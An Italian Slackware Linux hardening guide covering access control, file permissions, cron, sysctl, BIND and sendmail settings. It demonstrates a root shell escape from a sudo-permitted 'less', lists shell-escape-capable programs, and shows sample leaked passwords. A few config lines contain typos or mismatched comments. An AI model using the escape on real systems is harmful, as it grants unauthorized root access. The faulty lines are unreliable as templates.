L'unica volta in cui questo file troverà corrispondenza è quando /etc/hosts.allow non è configurato in maniera adeguata.

all:all:spawn /usr/bin/logger "Check hosts.allow - %d deny %c %p %a %h %u" \
   :banners /etc/banners:deny
man tcpd
man 5 hosts_access
man hosts_options

xdm:
Modificate xdm-config e create Xstartup e Xreset in modo tale che i contenuti possano essere aggiunti a utmp e wtmp nel momento in cui un utente effettua il login.

man xdm

/etc/X11/xdm/xdm-config:

DisplayManager._0.startup:   /usr/X11R6/lib/X11/xdm/Xstartup
DisplayManager._0.reset:     /usr/X11R6/lib/X11/xdm/Xreset
DisplayManager*authorize:    true
DisplayManager*authName:     XDM-AUTHORIZATION-1 MIT-MAGIC-COOKIE-1
DisplayManager.requestPort:  0
man xdm

/etc/X11/xdm/Xstartup:

#!/bin/sh
#
# Xstartup
# Questo programma viene eseguito come utente root una volta che l'utente sia stato verificato
#
# man xdm
#
if [ -f /etc/nologin ]; then
    xmessage -file /etc/nologin -timeout 30 -center
    exit 1
fi
sessreg -a -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xserver $LOGNAME
/usr/X11R6/lib/X11/xdm/GiveConsole
exit 0
root@darkstar:~# chmod a+x /etc/X11/xdm/Xstartup

/etc/X11/xdm/Xreset:

#!/bin/sh
#
# Xreset
#
# Questo programma viene eseguito come utente root una volta che la sessione sia terminata
#
# man xdm
#
sessreg -d -l $DISPLAY -x /usr/X11R6/lib/X11/xdm/Xservers $LOGNAME
/usr/X11R6/lib/X11/xdm/TakeConsole
exit0
root@darkstar:~# chmod a+x /etc/X11/xdm/Xreset

/etc/X11/xdm/Xresources:

xlogin*greeting:	Unauthorized Access Prohibited
xlogin*allowRootLogin:	false
xlogin*allowNullPasswd:	false
man xdm

/etc/X11/xserver/SecurityPolicy:
Aggiungere il segno di commento a tutte le righe che seguono:

# se state usando Motif probabilente dovete utilizzare le linee seguenti.
#property _MOTIF_DEFAULT_BINDINGS root	ar iw
#property _MOTIF_DRAG_WINDOW	  root	ar iw
#property _MOTIF_DRAG_TARGETS	  any	ar iw
#property _MOTIF_DRAG_ATOMS    	  any   ar iw
#property _MOTIF_DRAG_ATOM_PAIRS  any   ar iw

# se state usando CDE probabilmente avrete bisogno di utilizzare le linee seguenti
#property _MOTIF_WM_INFO         root    arw
#property TT_SESSION             root    irw
#property WM_ICON_SIZE           root    irw
#property "SDT Pixel Set"        any     irw

# le 2 regole seguenti permettono a xwininfo di funzionare qualora untrusted.
#property WM_NAME        any     ar

# Permette la lettura di WM_CLASS, ma solo per quelle fineste aventi WM_NAME.
# Questo potrebbe essere più restrittivo di quanto effettivamente necessario, ma mostra
# le possibilità di <required property>, ed è un tentativo di rendere visibili 
# le "top level windows only."
#property WM_CLASS       WM_NAME ar

# le tre righe seguenti consentono a xlsclients di funzionare qualora untrusted. Pensateci bene
# prima di levare il segno di commento a queste righe; mostrano infatti il comando ed il nome della macchina
# il che potrebbe essere rischioso.
#property WM_STATE       		WM_NAME ar
#property WM_CLIENT_MACHINE      	WM_NAME ar
#property WM_COMMAND     		WM_NAME ar
  
# Queste righe cosentono ad "untrusted clients" di usare le colormaps standard generate da
# xstdcmap. Se è quello che volete levate il segno di commento alle righe seguenti.
#property RGB_DEFAULT_MAP   root    ar
#property RGB_BEST_MAP      root    ar
#property RGB_RED_MAP       root    ar
#property RGB_GREEN_MAP     root    ar
#property RGB_BLUE_MAP      root    ar
#property RGB_GRAY_MAP      root    ar

# Per far si che untrusted clients usino il database d gestione colori generato da 
# xcmsdb, levate il segno di commento alle linee seguenti.
#property XDCCC_LINEAR_RGB_CORRECTION    root    ar
#property XDCCC_LINEAR_RGB_MATRICES      root    ar
#property XDCCC_GRAY_SCREENWHITEPOINT    root    ar
#property XDCCC_GRAY_CORRECTION  	 root    ar

# Per far si che untrusted clients usino overlay visuals che molti rivenditori 
# supportano, levate il segno di commento alla linea seguente.
#property SERVER_OVERLAY_VISUALS 	root    ar
 
man Xserver

xhost:

dentonj@darkstar:~$ xhost 
access control enabled, only authorized clients can connect
dentonj@darkstar:~$

Se viene restituita la seguente dicitura:

INET:localhost
dentonj@darkstar:~$ xhost -localhost
man xhost
man Xsecurity

/opt/kde/share/config/kdm/kdmrc:

[Xdmcp]
Enable=false
Port=0
Willing=

[X-*-Core]
AllowRootLogin=false
AllowNullPasswd=false
AllowShutdown=Root
AllowSdForceNow=Root
UseSessReg=true

[X-:*-Core]
ServerArgsLocal=-nolisten tcp
AllowNullPasswd=false
AllowShutdown=Root
NoPassEnable=false
#NoPassUsers=

[X-:0-Core]
AutoLoginEnable=false
#AutoLoginUser=
#AutoLoginPass=
less /opt/kde/share/doc/kdm/README

/opt/kde/share/config/kdm/Xstartup:
levare il segno di commento (#) alle righe seguenti:

chown $USER /dev/console
exec sessreg -a -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER

/opt/kde/share/config/kdm/Xreset:


levare il segno di commento (#) alle righe seguenti:

chown root /dev/console
chown 622 /dev/console
exec sessreg -d -l $DISPLAY -h "`echo $DISPLAY | cut -d: -f1`" $USER

/opt/kde/share/config/kdm/Xaccess:
levare il segno di commento (#) alle righe seguenti:

#*                           #any host can get a login window
#*   CHOOSER BROADCAST       #any indirect host can get a chooser

Liste di controllo accessi:

Da fare

man acl
man setfacl
man getfacl

/etc/inittab:
Commentare la seguente riga:

#ca::ctraltdel:/sbin/shutdown -t5 -r now

root@darkstar:~# telinit q

Allo stato delle cose non penso che quanto di seguito riportato sia necessario, ma è stato comunque incluso perchè quasi tutti i documenti relativi alla sicurezza su Linux lo raccomandano. Tale impostazione impedisce agli utenti di riavviare il sistema utilizzando la combinazione di tasti Ctrl-Alt-Del. Il riavvio del sistema con Ctrl-Alt-Del funziona unicamente se si ha accesso fisico alla macchina. Comunque anche se disabilitate questa funzionalità, nulla impedisce a qualcuno di staccare l'alimentatore o di premere il pulsante di reset del sistema per forzare un riavvio della macchina. La maggior parte dei window managers blocca comunque il Ctrl-Alt-Del.

L'unica occasione in cui disabilitare l'impostazione precedente è proficuo è quando si ha un amministratore di Windows che utilizza Linux. In questo caso infatti non volete che riavvino il sistema tutte le volte che desiderano bloccare il sistema o utilizzare Task Manager.

O potete utilizzare /etc/shutdown.allow per controllare quando (non da chi) il sistema può essere riavviato con la combinazione di tasti Ctrl-Alt-Del. Utilizzando questo metodo vi sono tuttavia preoccupazioni in termini di sicurezza. Controllate la pagina di man per gli ulteriori dettagli relativi a shutdown.

[/rant]

Aggiungete l'opzione "-a" alla seguente riga di /etc/inittab per utilizzare /etc/shutdown.allow:

ca::ctraltdel:/sbin/shutdown -t5 -r now -a

root@darkstar:~# telinit q

Se utilizzate spesso i cosiddetti terminali stupidi, decommentate la seguente riga:

 
s1:12345:respawn:/sbin/agetty -L ttyS0 9600 vt100

root@darkstar:~# telinit q
man init
man inittab
man initscript
man shutdown
man telinit

/etc/shutdown.allow:

dentonj
man shutdown

/etc/securetty:
Assicuratevi che solo le seguenti voci siano decommentate:

console
tty1
tty2
tty3
tty4
tty5
tty6
man securetty

umask:
Ci sono diverse modalità con cui impostare umask:

/etc/login.defs:
    UMASK 077
/etc/limits:
    * K077
/etc/profile:
    umask 077

Umask controlla i permessi assegnati ai nuovi file e directory che vengono creati. Ad esempio con umask 022, i nuovi file avranno i permessi 644 e le nuove directory i permessi 755. Impostare umask a 077 comporterà avere i nuovi file creati con i permessi 600 e le nuove directory con i permessi 700.

Utilizzare umask 077 impedisce agli altri account di accedere ai file di proprietà dell'utente. Utilizzare umask 022 permette agli altri account di accedere ai file utente a meno che tale utente non modifichi i permessi. Si può utilizzare cron al fine di rimuovere periodicamente i permessi dalle home directory degli utenti.

Impostare umask in maniera restrittiva può causare problemi nel momento in cui si creano o si modificano i file che necessitano di essere accessibili in lettura da parte di chiunque. Un esempio di file di questo tipo sono le pagine web presenti in /var/www/htdocs.


dentonj@darkstar:~$ type -a umask
man bash
man umask
man login.defs
man limits

[modifica] Filesystem

/etc/fstab:

/dev/hdb1   swap	 swap   defaults			0 0
/dev/hdb5   /		 ext3   defaults			1 1
/dev/hdb6   /var	 ext3   rw,nosuid,nodev			0 2
/dev/hdb7   /tmp	 ext3   rw,nosuid,nodev,noexec		0 2
/dev/hdb8   /usr	 ext3   ro				0 2
/dev/hdb9   /home	 ext3   rw,nosuid,nodev			0 0
/dev/hda1   /mnt/windows vfat   rw,nosuid,nodev,noexec,noauto	0 0
/dev/hda2   /mnt/slack	 ext2   rw,noauto			0 0
/dev/cdrom  /mnt/cdrom	 auto   noauto,owner,ro			0 0
/dev/fd0    /mnt/floppy	 auto   noauto,owner			0 0
devpts	    /dev/pts	 devpts gid=5,mode=620			0 0
proc	    /proc	 proc   defaults			0  
root@darkstar:~# mkdir /mnt/windows
root@darkstar:~# mkdir /mnt/slack
root@darkstar:~# mkdir /mnt/floppy
root@darkstar:~# mkdir /mnt/thumb
man fstab
man nfs
man mount

Solitamente aggiungo l'opzione "noexec" alla partizione /home, anche se questa impostazione è facilmente aggirabile. Inoltre utilizzo una directory /bin all'interno della /home per gli scripts.

dentonj@darkstar:~$ /lib/ld-linux.so.2 ./some_executable
man ld.so 

/sbin/tune2fs:
Cambiare l'impostazione per cui fsck va in esecuzione ogni 22 avvii del sistema. Le nuove impostazioni regolano fsck ad essere eseguito solo ogni 6 mesi. Se si vuole eseguire il controllo del file system in maniera più frequente, modificare come necessario.

root@darkstar:~# tune2fs -l /dev/hdb5
root@darkstar:~# for i in hdb5 hdb6 hdb7 hdb8 hdb9; do
> tune2fs -c 0 /dev/$i
> done
root@darkstar:~# tune2fs -l /dev/hdb5
man tune2fs
man fsck

/usr/bin/chattr:
Rendere i file seguenti non modificabili:

  • scripts di init/rc
  • file di configurazione della shell, d'ambiente e di login
  • file delle password
  • file di configurazione del server
  • eseguibili suid/sgid
  • eseguibili che comunemente possono essere sostituiti con backdoor/trojan


for i in `ls /etc/rc.d`; do
chattr +i /etc/rc.d/$i
done
for i in `ls /etc/apache`; do
chattr +i /etc/apache/$i
done
for i in `ls /etc/mail`; do
chattr +i /etc/mail/$i
done
find / -type f \( -perm -4000 -o -perm -2000 \) -exec chattr +i {} \;
chattr +i /etc/at.deny
chattr +i /etc/exports
chattr +i /etc/ftpusers
chattr +i /etc/host.conf
chattr +i /etc/hosts
chattr +i /etc/hosts.allow
chattr +i /etc/hosts.deny
chattr +i /etc/hosts.equiv
chattr +i /etc/hosts.lpd
chattr +i /etc/inetd.conf
chattr +i /etc/inittab
chattr +i /etc/lilo.conf
chattr +i /etc/login.access
chattr +i /etc/login.defs
chattr +i /etc/named.conf
chattr +i /etc/porttime
chattr +i /etc/profile
chattr +i /etc/protocols
chattr +i /etc/securetty
chattr +i /etc/services
chattr +i /etc/suauth
chattr +i /home/dentonj/.forward
chattr +i /home/dentonj/.netrc
chattr +i /home/dentonj/.rhosts
chattr +i /home/dentonj/.shosts
less /usr/local/sbin/chkrootkit
/TROJAN
chattr +i <i comandi elencati nella variabile TROJAN>

Questa lista potrebbe essere molto più estesa.

root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr
man chattr

lcap:
DA FARE - mostrare dove si trova e come fare a compilarlo.

Non compilare il parametro del kernel CAP_LINUX_IMMUTABLE. Ciò impedisce che sia rimosso l'attributo +i. Io eseguo 'lcap' solitamente dallo script rc.local, che deriva a sua volta da rc.M. Per rimuovere l'attributo +i da un file, occorre riavviare il sistema e accedere in modalità "single user". Di fatto questa è una delle rare occasioni in cui occorre che realmente Linux sia riavviato.

Nel caso in cui accediate o gestiate il sistema esclusivamente da remoto l'utilizzo di lcap può causare problemi.

Nota: Applicate queste impostazioni solo dopo avere finito di configurare il vostro sistema.

/etc/rc.d/rc.local:

/usr/local/sbin/lcap CAP_LINUX_IMMUTABLE
root@darkstar:~# touch /tmp/test
root@darkstar:~# chattr +i /tmp/test
root@darkstar:~# lsattr /tmp/test
----i-------- /tmp/test
root@darkstar:~# cd
root@darkstar:~# lcap CAP_LINUX_IMMUTABLE
root@darkstar:~# chattr -i /tmp/test
chattr: Operation not permitted while setting flags on /tmp/test
root@darkstar:~# lcap                    
Current capabilities: 0xFFFFFCFF
   0) *CAP_CHOWN                   1) *CAP_DAC_OVERRIDE         
   2) *CAP_DAC_READ_SEARCH         3) *CAP_FOWNER               
   4) *CAP_FSETID                  5) *CAP_KILL                 
   6) *CAP_SETGID                  7) *CAP_SETUID               
   8)  CAP_SETPCAP                 9)  CAP_LINUX_IMMUTABLE      
   10) *CAP_NET_BIND_SERVICE       11) *CAP_NET_BROADCAST        
   12) *CAP_NET_ADMIN              13) *CAP_NET_RAW              
   14) *CAP_IPC_LOCK               15) *CAP_IPC_OWNER            
   16) *CAP_SYS_MODULE             17) *CAP_SYS_RAWIO            
   18) *CAP_SYS_CHROOT             19) *CAP_SYS_PTRACE           
   20) *CAP_SYS_PACCT              21) *CAP_SYS_ADMIN            
   22) *CAP_SYS_BOOT               23) *CAP_SYS_NICE             
   24) *CAP_SYS_RESOURCE           25) *CAP_SYS_TIME             
   26) *CAP_SYS_TTY_CONFIG       
       * = funzionalità attualmente consentite

/etc/cron.*:

root@darkstar:~# chmod -R go-rwx /etc/cron.*

/etc/rc.d:
Gli scripts di avvio del sistema sono, di default, leggibili da chiunque.

root@darkstar:~# chmod -R go-rwx /etc/rc.d/

$HOME:
Limitare l'accesso alle directory $HOME:

root@darkstar:~# chmod -R go-wrx /home/dentonj
root@darkstar:~# chmod -R go-rwx /root
man chmod

/var/log:
Limitare l'accesso ai logs:

root@darkstar:~# chmod -R o-rwx /var/log

I seguenti file dovrebbero essere vuoti nel caso in cui esistano:

/etc/X0.hosts
/etc/d_passwd
/etc/dialups
/etc/environment
/etc/exports
/etc/hosts.lpd
/etc/hosts.equiv
/etc/ssh/shosts.equiv
~/.forward
~/.netrc
~/.rhosts
~/.shosts

File che di norma non dovrebbero esistere:

/etc/fastboot
/etc/forcefsck
/etc/hushlogins
/etc/initrunlvl
/etc/initscript
/etc/nologin
/etc/powerstatus
/etc/upsstatus
~/.hushlogin

Trovare file e directory SUID/SGID:

root@darkstar:~# find / -type f \( -perm -4000 -o -perm -2000 \) \
> -ls > suid_files.out
root@darkstar:~# find / -type d \( -perm -4000 -o -perm -2000 \) \
> -ls > suid_dirs.out

Trovare file e directory accessibili in scrittura dal gruppo e da tutti gli altri utenti:

root@darkstar:~# find / -type f \( -perm -2 -o -perm -20 \) \
> -ls > write_files.out
root@darkstar:~# find / -type d \( -perm -2 -o -perm -20 \) \
> -ls > write_dirs.out

SUID/SGID:
Rimuovere il bit SUID o SGID dai seguenti file:

chmod u-s /usr/bin/at
chmod u-s /usr/bin/chage
chmod u-s /usr/bin/chfn
chmod u-s /usr/bin/chsh
chmod u-s /usr/bin/crontab
chmod u-s /usr/bin/expiry
chmod u-s /usr/bin/gpasswd
chmod u-s /usr/bin/lppasswd
chmod u-s /usr/bin/newgrp
chmod u-s /usr/bin/rcp
chmod u-s /usr/bin/rlogin
chmod u-s /usr/bin/rsh
chmod u-s /usr/libexec/ssh-keysign
man chmod

Shell Escapes:
Di seguito un elenco di programmi che possono portare ad ottenere una shell. Questo può essere fatto: direttamente avviando una nuova shell, eseguendo comandi di shell (fra i quali avviare una nuova shell) o avviando un editor di testo che può a sua volta essere utilizzato per avviare la shell.

Questi programmi non sono fonte di preoccupazione in termini di security in quanto tali. Tuttavia se sono impostati SUID root o se vengono utilzzati ricorrendo a sudo, possono consentire agli utenti di ottenere l'accesso ad una shell con privilegi di amministratore.

/etc/sudoers:

dentonj ALL = (ALL) /usr/bin/less /var/log/messages

Avvio di una nuova shell:

dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
!
bash-3.00#

Aprire un editor che può avviare una nuova shell:

dentonj@darkstar:~$ sudo /usr/bin/less /var/log/messages
Password:
<contents of /var/log/messages>
v
:sh
bash-3.00#

Assicuratevi che i file seguenti non siano impostati con il bit SUID e che non appartengano a root. Assicuratevi inoltre che non finiscano in /etc/sudoers. L'elenco che segue non è esaustivo:

/bin/ed 			/bin/more
/usr/bin/bzmore 		/usr/bin/crontab -e
/usr/bin/cscope 		/usr/bin/cu
/usr/bin/cvs -e 		/usr/bin/cvsbug
/usr/bin/elm 			/usr/bin/elvis
/usr/bin/ex 			/usr/bin/flea
/usr/bin/gccbug 		/usr/bin/gdb
/usr/bin/less 			/usr/bin/lftp
/usr/bin/mailto 		/usr/bin/mc
/usr/bin/mcedit 		/usr/bin/mcview
/usr/bin/mutt 			/usr/bin/mysql
/usr/bin/mysqlbug 		/usr/bin/nail
/usr/bin/ncftp 			/usr/bin/newspost
/usr/bin/nn 			/usr/bin/perlbug
/usr/bin/pilot 			/usr/bin/pine
/usr/bin/pg 			/usr/bin/rpcclient
/usr/bin/sdiff 			/usr/bin/slrn
/usr/bin/smbclient 		/usr/bin/tin
/usr/bin/trn 			/usr/bin/uupick
/usr/bin/vim 			/usr/bin/zmore

Un paio di esempi di comandi che è possibile utilizzare per verificare quali comandi permettono l'esecuzione di una shell.

root@darkstar:~# cd /usr/bin && for i in `ls | grep -v "@$"`; do
> echo "     $i"
> strings $i | grep -e "VISUAL|EDITOR"
> done | less
root@darkstar:~# cd /usr/man/man1 && zgrep -E \
> "\!.*command|execute.*command" *

Trovare e rimuovere link simbolici inattivi:

find / -type l -print | perl -nle '-e || print'

[modifica] Rete

/etc/rc.d/rc.local:

# Stop arp spoofing used to sniff switched networks
# Set a static ARP entry for the default gateway
arp -s 192.168.1.1 00:00:FE:ED:FA:CE

# Set a static ARP entry for the log host
arp -s 192.168.1.2 00:00:DE:AD:BE:EF

/etc/rc.d/rc.firewall:
Il file /etc/rc.d/rc.inet2 controlla l'esistenza dello script rc.firewall e poi lo esegue. Create uno script per il firewall e mettetelo qui.

[modifica] Cron

/etc/cron.daily/ntpdate:

#!/bin/sh
/usr/sbin/ntpdate clock.via.net && /sbin/hwclock --systohc
root@darkstar:~# chmod 700 /etc/cron.daily/ntpdate

/etc/cron.daily/cleanup:

#!/bin/sh
/usr/bin/find / -type f -name core -exec /bin/rm -f {} \;
/usr/bin/find /tmp -atime +7 -exec /bin/rm -f {} \;
/usr/bin/find /var/tmp -atime +7 -exec /bin/rm -f {} \;
root@darkstar:~# chmod 700 /etc/cron.daily/cleanup

/etc/cron.daily/paranoid:

#!/bin/sh
/bin/chmod -R go-rwx /home/dentonj
/bin/chmod -R go-rwx /root
/bin/chmod -R o-rwx /var/log
/bin/rm -f /home/dentonj/dead.letter
root@darkstar:~# chmod 700 /etc/cron.daily/paranoid

/var/spool/cron/crontabs/root:

0 3 * * * /usr/bin/find /home -name .rhosts -o -name .forward -ls

Cron dovrebbe inviare i risultati a root.

root@darkstar:~# crontab -l
root@darkstar:~# crontab -e
man crond
man crontab

/etc/at.allow:

root@darkstar:~# rm /etc/at.deny
root@darkstar:~# touch /etc/at.allow

Non consentite ad alcuno di utilzzare at.

Ancora meglio sarebbe rimuovere il pacchetto at dal sistema:

root@darkstar:~# removepkg at
 
man at

[modifica] Bash

~/.bash_history:
Impostare il file relativo alla cronologia dei comandi della shell in modo tale che possa essere solo "appended" ma non cancellato da un utente.

root@darkstar:~# chattr +a /home/dentonj/.bash_history
root@darkstar:~# chmod go-wrx /usr/bin/chattr /usr/bin/lsattr
man chattr
man lsattr
man chmod

~/.bash_profile:

trap 'test -n "$SSH_AGENT_PID" && eval `/usr/bin/ssh-agent -k`' 0

[modifica] Kernel

/etc/sysctl.conf:

# migliora le prestazioni del file system
vm.bdflush = 60 64 64 256 500 300 80 0 0

# aumenta la banda di swap di conseguenza migliora le prestazioni del sistema
vm.kswapd = 512 32 32

# abilita/disabilita l'over commitment di memoria
vm.overcommit_memory = 0

# aumenta il numero delle page tables mantenute nella cache del processore 
vm.pagetable_cache = 25 50

# aumenta il limite del numero max di file-handles
fs.file-max = 8192

# abilita/disabilita la possibilità di ignorare le richieste di ping 
net.ipv4.icmp_echo_ignore_all = 1

# abilita/disabilita la possibilità di ignorare le richieste di broadcasts
net.ipv4.icmp_ignore_broadcasts = 1

# abilita/disabilita l'IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# abilita/disabilita la TCP SYN cookie protection
net.ipv4.tcp_syncookies = 1

# abilita/disabilita l'accettazione di reindirizzamento ICMP
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

# abilita/disabilita la bad error message protection
net.ipv4.icmp_ignore_bogus_error_responses = 1

# abilita/disabilita la protezione da IP spoofing
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2

# abilita/disabilita rispettivamente: log spoofed, source routed,redirect packets
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.default.log_martions = 1

# Aumenta la dimensione della shared memory
kernel.shmall = 134217728
kernel.shmmax = 134217728

# Aumenta la dimensione di default e la massima della finestra 
net.core.vmem_max = 2048000
net.core.vmem_default = 204800

# Abilita il packet forwarding
net.ipv4.ip_forward = 0

# Cambia il TTL di default come supporto a nascondere l'OS fingerprinting
net.ipv4.ip_default_ttl = 128
root@darkstar:~# sysctl -p /etc/sysctl.conf
root@darkstar:~# sysctl -A

Queste sono già delle impostazioni riscontrabili in /etc/rc.d/rc.S che regolano quelle relative a sysctl localizzate in questo file durante la fase di boot.

man sysctl
man sysctl.conf

/etc/rc.d/rc.modules:
Elenca i moduli del kernel che sono caricati dal sistema durante la fase di avvio. Inserite il simbolo di commento per le righe che richiamano quelli che risultino non essere necessari per il funzionamento del vostro sistema.

root@darkstar:~# grep -v "^#\|^$" /etc/rc.d/rc.modules

Grsecurity:

DA FARE

Rimuovere il supporto per i moduli del kernel:

Dal numero di Phrack 25-5, "Unix Cracking Tips":

"Di seguito alcuni suggerimenti su come installare delle backdoors dopo che avete ottenuto accesso al sistema in qualità di super utente e desideriate rimanere tale:

. . . - Installare nuove chiamate di sistema . . .

Poi leggete il numero di Phrack 52-8, "Weakening the Linux Kernel" e quindi ricompilate il vostro kernel rimuovendo il supporto per i moduli.

CONFIG_MODULES=n

[modifica] Varie

/etc/inputrc:

set bell-style none
set mark-directories on
set mark-modified-lines on
set match-hidden-files on
set show-all-if-ambiguous on
set visible-stats on
man bash
man readline

Pacchetti da rimuovere:

root@darkstar:~# removepkg nn
root@darkstar:~# removepkg slrn
root@darkstar:~# removepkg uucp
root@darkstar:~# removepkg strace
root@darkstar:~# removepkg gdb
root@darkstar:~# removepkg nc
root@darkstar:~# removepkg nmap
root@darkstar:~# removepkg at

Questo elenco dovrebbe essere molto più esteso.

/etc/rc.d/rc.local:

# Questo comando è specifico per il tipo di disco rigido, il settaggio utile al tuo/tuoi HD potrebbe essere diverso
/usr/sbin/hdparm -c3 -a16 -W1 -u1 /dev/hdb

# attiva il NumLock
/usr/bin/setleds -D +num

Effettuare un backup dei comandi solitamente utilizzati come backdoor:
Effettuare tale copia unicamente dopo una nuova installazione. Effettuare delle copie di eseguibili già modificati in backdoor non ha molto senso. Se non disponete di una nuova installazione, copiate i comandi sotto riportati dal Live CD che accompagna la versione ufficiale di Slacware.

root@darkstar:~# mkdir bin

Copiate i seguenti comandi in /root/bin:

/bin/date 			/bin/du
/bin/echo 			/bin/grep
/bin/kill 			/bin/killall
/bin/login 			/bin/ls
/bin/netstat 			/bin/ps
/bin/su 			/bin/tar
/sbin/agetty 			/sbin/explodepkg
/sbin/getty 			/sbin/ifconfig
/sbin/installpkg 		/sbin/makepkg
/sbin/pidof 			/sbin/removepkg
/sbin/upgradepkg 		/usr/bin/basename
/usr/bin/biff 			/usr/bin/chfn
/usr/bin/chsh 			/usr/bin/crontab
/usr/bin/dirname 		/usr/bin/env
/usr/bin/find 			/usr/bin/lsattr
/usr/bin/nail 			/usr/bin/passwd
/usr/bin/pstree 		/usr/bin/ssh
/usr/bin/top 			/usr/bin/traceroute
/usr/bin/write 			/usr/sbin/gpm
/usr/sbin/hdparm 		/usr/sbin/in.fingerd
/usr/sbin/in.identd 		/usr/sbin/in.rlogind
/usr/sbin/in.rshd 		/usr/sbin/in.telnetd
/usr/sbin/in.timed 		/usr/sbin/inetd
/usr/sbin/ipop3d 		/usr/sbin/named
/usr/sbin/rpcinfo 		/usr/sbin/sendmail
/usr/sbin/sshd 			/usr/sbin/syslogd
/usr/sbin/tcpd
root@darkstar:~# cd bin
root@darkstar:~/bin# md5sum * >> md5sum
root@darkstar:~/bin# cd
root@darkstar:~# tar zcvf bin.tar.gz ./bin
root@darkstar:~# cp bin.tar.gz /mnt/thumb

Sarebbe buona norma eseguire `chattr +i ...` su tutti i file originali.

Password contenute nei file di log e nella cronologia:
Non è infrequente che un utente commetta uno sbaglio effettuando il login o cambiando tipo di utente, digitando la password nel posto sbagliato. Fate attenzione che la pratica del "dumpster diving" nel log di sistema e all'interno di altri file di cronologia degli utenti è una pratica diffusa tra i malintenzionati che desiderano procurarsi delle password. Tenetelo presente quando decidete di conservare 6 mesi di log sul sistema o quando impostate HISTFILESIZE usando la variabile $LARGENUMBER.

root@darkstar:~# lastb
P@ssw0rd1!			   Fri Jun 23 19:04 - 19:04  (00:00)    
dentonj				   Fri Jun 23 19:03 - 19:03  (00:00)    
root@darkstar:~# less /home/dentonj/.bash_history
<contents of .bash_history>
/us	<-- type this to search for "us"

us -
!QAZzaq1

/etc/wgetrc:
Ignorare il file robots.txt presente sui web servers.

robots = off

[modifica] Hardening dei Programmi

/usr/sbin/atalkd:
DA FARE

/etc/netatalk/atalkd.conf:

/etc/netatalk/afpd.conf:

/etc/netatalk/AppleVolumes.default:

/etc/netatalk/AppleVolumes.system:

/etc/netatalk/netatalk.conf:

/etc/netatalk/papd.conf:

man afpd
man afpd.conf
man AppleVolumes.default
man atalkd
man atalkd.conf
man netatalk.conf
man papd

/usr/sbin/named:

/etc/named.conf:
  acl "allowed" {
          localhost;
          192.168.1.0/24;
  };

  acl "denied" {
          0.0.0.0/8;
          1.0.0.0/8;
          2.0.0.0/8;
          192.0.2.0/24;
          224.0.0.0/3;
          169.254.0.0/16;
          10.0.0.0/8;
          172.16.0.0/12;
          //192.168.0.0/16;
  };

  key "rndc-key" {
          algorithm hmac-md5;
          secret "Thisisafakekey==";
  };
 
  controls {
          inet 127.0.0.1 port 953
               allow { 127.0.0.1; } keys { "rndc-key"; };
  };
  
  options {
          directory "/var/named";
          allow-transfer { none; };
          allow-query { allowed; };
          allow-recursion { allowed; };
          blackhole { denied; };
          tcp-clients 32;
          forwarders { 1.2.3.4; 5.6.7.8; };
          version "Not available";
  };

  logging {
          category lame-servers { null; };
  };

  zone "." IN {
          type hint;
          file "caching-example/named.ca";
  };

  zone "localhost" IN {
          type master;
          file "caching-example/named.local";
          allow-update { none; };
          notify no;
  };

  zone "0.0.127.in-addr.arpa" IN {
          type master;
          file "caching-example/named.local";
          allow-update { none; };
          notify no;
   }; 

   /etc/rndc.conf:

   key "rndc-key" {
          algorithm hmac-md5;
          secret "Thisisafakekey==";
   };

   options {
           default-key "rndc-key";
           default-server 127.0.0.1;
           default-port 953;
   };

Per generare le chiavi per rndc:

root@darkstar:~# rndc-confgen -b 512

Per controllare la configurazione:

root@darkstar:~# named-checkconf -z
zone localhost/IN: loaded serial 42
zone 0.0.127.in-addr.arpa/IN: loaded serial 1997022700
root@darkstar:~# named-checkzone localhost \
  /var/named/caching-example/localhost.zone 
zone localhost/IN: loaded serial 42
OK
root@darkstar:~# named-checkzone 0.0.127.in-addr.arpa \
  /var/named/caching-example/named.local 
zone 0.0.127.in-addr.arpa/IN: loaded serial 1997022700
OK
root@darkstar:~# named-checkzone . /var/named/caching-example/named.ca 
zone ./IN: has 0 SOA records

root@darkstar:~# chmod 700 /etc/rc.d/rc.bind
root@darkstar:~# /etc/rc.d/rc.bind start
root@darkstar:~# rndc status
man named
man named-checkconf
man named-checkzone
man rndc
man rndc.conf
man rndc-confgen
man lwresd

DA FARE - Chroot

/usr/sbin/sendmail:

/etc/mail/sendmail.cf:

#O DontBlameSendmail=Safe
O MaxHopCount=25
O HelpFile=/etc/issue.net
O ForwardPath=/etc/forward
O LogLevel=15
#O DaemonPortOptions=Name=MTA
#O DaemonPortOptions=Port=587,Name=MSA,M=E
O DaemonPortOptions=Address=127.0.0.1
O ClientPortOptions=Family=inet,Address=127.0.0.1
O PrivacyOptions=goaway,noreceipts,restrictmailq,restrictqrun,restrictexpand,noetrn,nobodyreturn
O Timeout.ident=0  
O SmtpGreetingMessage=$j Unauthorized Access Prohibited.
O AllowBogusHELO=False
O UnsafeGroupWrites=True
O RrtImpliesDSN=False
$.by $j with id $i$?{tls_version}
root@darkstar:~# touch /etc/forward	

$HOME/.forward:
Il file .forward permette agli utenti di inoltrare facilmente le email. Tuttavia il file può essere anche utilizzato per eseguire un programma ogni qualvolta sia ricevuta una mail. Vi sono diverse modalità per disabilitare l'utilizzo del file .forward.

Impostare l'opzione ForwardPath in maniera tale che punti a qualcosa di diverso rispetto al default. In pratica l'opzione deve essere impostata, altrimenti sendmail imposta il ForwardPath a $HOME/.forward.

O ForwardPath=/etc/forward

Potete permettere ai programmi di essere eseguiti, ma restringetene il set utilizzando smrsh.

Potete disabilitare completamente l'inoltro in sendmail. Tuttavia alcune conseguenze poco piacevoli si possono verificare.

Cancellate il flag "w" dalla riga presente in /etc/mail/sendmail.cf:

Mlocal,		P=/usr/bin/procmail, F=lsDFMAw5:/|@qSPfhn9, S=.....
Mlocal,		P=/usr/bin/procmail, F=lsDFMA5:/|@qSPfhn9, S=.....

Potete provare a far creare e a detenere il file .forward all'utente root all'interno di ciascuna delle home directory degli utenti del sistema. Tuttavia gli utenti possono spostare il file .forward e crearne uno nuovo.

root@darkstar:~# touch /home/dentonj/.forward
